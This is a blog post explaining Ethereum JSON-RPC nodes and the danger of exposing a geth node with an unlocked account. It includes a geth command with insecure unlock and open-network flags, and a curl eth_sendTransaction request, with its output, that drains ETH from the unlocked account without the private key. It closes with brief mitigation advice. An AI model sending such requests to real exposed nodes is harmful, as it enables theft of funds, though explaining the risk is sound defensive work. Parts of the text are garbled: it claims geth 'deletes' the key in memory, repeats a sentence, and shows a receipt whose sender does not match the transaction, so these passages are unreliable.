Exploring the Security of an Ethereum Node

Harbor
Coinmonks
5 min readApr 13, 2023

--

When you send the below transaction with metamask, what (exactly) happens?

{
"from": "0x8900987a0654d979bB7cD8aaADd19Cf032B51D2e",
"to": "0xAaBbCcDdEeFf00112233",
"value": "2500000000000000000",
"gas": 21000,
"gasPrice": "50000000000",
"nonce": 5
}

We assume this deal has been added to the distributed ledger. Yes, possibly, but you’ve skipped over a few important intermediate phases.

Actually, this happens when you go to “Metamask” and select “sendTransaction.” Your wallet’s (or any other wallet’s) transaction does NOT go straight to the blockchain.

Instead, Metamask is queering an “RPC node” via an RPC request with the following JSON data:

{
"jsonrpc":"2.0",
"method":"eth_sendTransaction",
"params":[{
"from": "0x95F1F945cA47387aA36f97b2F9bC59fcF3A3eE6a",
"to": "0x92B934fC0d243FaF97d521b9AFCc0A5553F5dAa6",
"value": "100000000000000000",
"gas": "0x5208",
"gasPrice": "0x989680",
"nonce": "0x0"
}],
"id":1
}

By default on Metamask, this piece of JSON is delivered to the RPC node (through the HTTP protocol), and the node is from Infura.

In essence, it requests that the RPC node process and disseminate the transaction to all other Ethereum nodes.

Here, an RPC request is used to interact with an RPC node and request certain actions from him (such as requesting the most recent block, obtaining an address’s balance, or sending a transaction).

All 4 of the sent JSON’s fields can be easily analyzed.

  • jsonrpc” → (version of jsonrpc) here this is “2.0”
  • method” → (what do you want to do this the RPC node), here this is “sending a transaction”
  • params” → (), this is the transaction to be sent in the JSON format.
    “id” → 1 (doesn’t relevant here)

The node broadcast the transactions that had been sent to all other nodes in the Ethereum network after that.

The transaction is subsequently settled to each node’s “mempool” and is awaiting mining.

How can a JSON-RPC node be started?

Installing “ganache_cli,” which will build a test private blockchain and “attach” an RPC node to it, is quicker if you want to get started quickly. Consequently, let’s enter the following commands:

  1. Install ganache-cli
npm install -g ganache-cli

Assign 1000000000000000000000000000 to wei to 0xa71E43Be339F9791235641F457c1Ba2DA86b9Eb3 (the address with private key 8000) and start a test private blockchain and JSON-RPC node.

ganache-cli --account=0x8000000000000000000000000000000000000000000000000000000000000000,1000000000000000000000000000

Here is how the command’s output ought to appear:

Ganache CLI v6.12.2 (ganache-core: 2.13.2)

Available Accounts
==================
(0) 0xa71E43Be339F9791235641F457c1Ba2DA86b9Eb3 (1000000000 ETH)

Private Keys
==================
(0) 0x8000000000000000000000000000000000000000000000000000000000000000

Gas Price
==================
20000000000

Gas Limit
==================
6721975

Call Gas Limit
==================
9007199254740991

Listening on 127.0.0.1:8545

The RPC node is accessible via 127.0.0.1:8545, which corresponds to port 8545 on our personal computer. Enter the following command in a fresh Windows terminal (or Linux, if you’re using that).

(It sends a JSON RPC request to acquire the first address’ balance on our private blockchain.)

curl -X POST --data "{\"jsonrpc\":\"2.0\",\"method\":\"eth_getBalance\",\"params\":[\"0xa71E43Be339F9791235641F457c1Ba2DA86b9Eb3\", \"latest\"],\"id\":1}" -H "Content-Type: application/json" http://localhost:8545

The appropriate response is as follows:

{"id":1,"jsonrpc":"2.0","result":"0x33b2e3c9fd0803ce8000000"}

It displays the hexadecimal balance of 0xa71E43Be339F9791235641F457c1Ba2DA86b9Eb3 in wei format. (Within the blockchain)

What exactly is the issue?
Right now, there shouldn’t be any issues, right?

Okay, no.

You typically start your node with a UNLOCKED account when using ganache_cli (which is actually an abstraction of geth). (in order to mine all the blocks in the PoA Network and sign them)

Once your account is activated, though, what really happens behind the scenes?

Geth will delete the privatekey used for signing transactions in “clear text” in the geth’s memory once you’ve entered your password. (In RAM, to cut the long story short)

As you type this command, keep in mind that we are using ganache, which is simply geth with some abstractions.

geth --datadir data --networkid 1331 --http --allow-insecure-unlock --http.addr 0.0.0.0 --http.corsdomain "*" --http.vhosts "*" --unlock 0xa71E43Be339F9791235641F457c1Ba2DA86b9Eb3 console

But why is it important to have an unlocked account?

  • for mining transactions, typically.
  • for use in a PoA network’s block signing.
  • in order to send transactions.

Okay, but who gets access to your computer’s or virtual private server’s memory (if you wish to share your private blockchain or private node)? In order to dump the Linux memory, the hackers must at the very least be logged in (for example, using SSH), and this is difficult.

They don’t know the passwords, and it’s doubtful that your VPS has a vulnerability that would let a hacker run code as root. (Unless the machine is extremely poorly configured)

So We guess you may consider yourself secure, right?

On the other hand, it could get even worse.

If you unlock a user account in geth, you’ll gain access to additional features while making RPC calls.

Among the many possible requests to the RPC node, here are a few you may be familiar with:

For instance, metamask utilizes these ways to retrieve all of the data related to your wallet.

In fact, I may request that the RPC node transfer all of the unlocked account’s ETH to a different account using a single command line in Windows. (don’t forget to escape the “ with the \, otherwise, it will bug.)

curl -X POST --data "{\"jsonrpc\":\"2.0\",\"method\":\"eth_sendTransaction\",\"params\":[{\"from\": \"0xa71E43Be339F9791235641F457c1Ba2DA86b9Eb3\",\"to\": \"0x1D245F0C3f7eF71d36B0Fd23cE40b4AA4a289a2D\",\"value\": \"0x38d7ea4c6800000\"}],\"id\":1}" -H "Content-Type: application/json" http://localhost:8545

{"id":1,"jsonrpc":"2.0","result":"0x5aa6cb2ade333fa655a95673e7027f8e5d2eb565879e80ac5c0903187f00d3c4"}

We used the “eth_sendTransaction” method with these 3 params :

  • from : 0xa71E43Be339F9791235641F457c1Ba2DA86b9Eb3
  • to : 0x1D245F0C3f7eF71d36B0Fd23cE40b4AA4a289a2D
  • value : 0x38d7ea4c6800000 (in hex)

The RPC node handled the request and transmitted the reply:

0x5aa6cb2ade333fa655a95673e7027f8e5d2eb565879e80ac5c0903187f00d3c4 The transaction hash is (In fact, I may instruct the RPC node to transfer all of the unlocked account’s ETH to another account using a single Windows command line. (Remember to escape the “ with the \, failing to do so will cause a bug.)

Please take note that We did not sign the transaction using my private key.

With eth_getTransactionReceipt, we may send another request to the node asking for the transaction receipt given the transaction hash:

curl -X POST --data "{\"jsonrpc\":\"2.0\",\"method\":\"eth_getTransactionReceipt\",\"params\":[\"0x5aa6cb2ade333fa655a95673e7027f8e5d2eb565879e80ac5c0903187f00d3c4\"],\"id\":1}" -H "Content-Type: application/json" http://localhost:8545

(Remember to modify the transaction hash)

This is what happened:

{"id":1,"jsonrpc":"2.0","result":{"transactionHash":"0x5aa6cb2ade333fa655a95673e7027f8e5d2eb565879e80ac5c0903187f00d3c4","transactionIndex":"0x0","blockHash":"0xbbdd4c0e3a6b848891eef8a24941bdd37d5596a9090aa29f4683dac372abfca0","blockNumber":"0x8","from":"0x6166f7ee676a28afb4231145d9838539757b0b85","to":"0x1d245f0c3f7ef71d36b0fd23ce40b4aa4a289a2d","gasUsed":"0x5208","cumulativeGasUsed":"0x5208","contractAddress":null,"logs":[],"status":"0x1","logsBloom":"0x00000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000"}}

Without having access to the private key, the transaction was completed and the payment was sent.

Not only could we steal from an unlocked address without the owner’s private key, but we could also use that address to sign transactions as if we had the owner’s private key.

How can you prevent this vulnerability from affecting your node?

There are a few workarounds for this problem.

Using a firewall to screen all traffic on your server to eliminate unsafe methods is risky since there will almost always be a way to get around it.

You can set up two nodes for your blockchain: one with an unlocked account that mines new blocks and is hidden from the public, and another without an unlocked account that synchronizes with the first node and is open to the public for transaction queries.

Done!!!

--

--

Harbor
Coinmonks

A testing infrastructure company that provides production ready staging environments for web3.0 companies.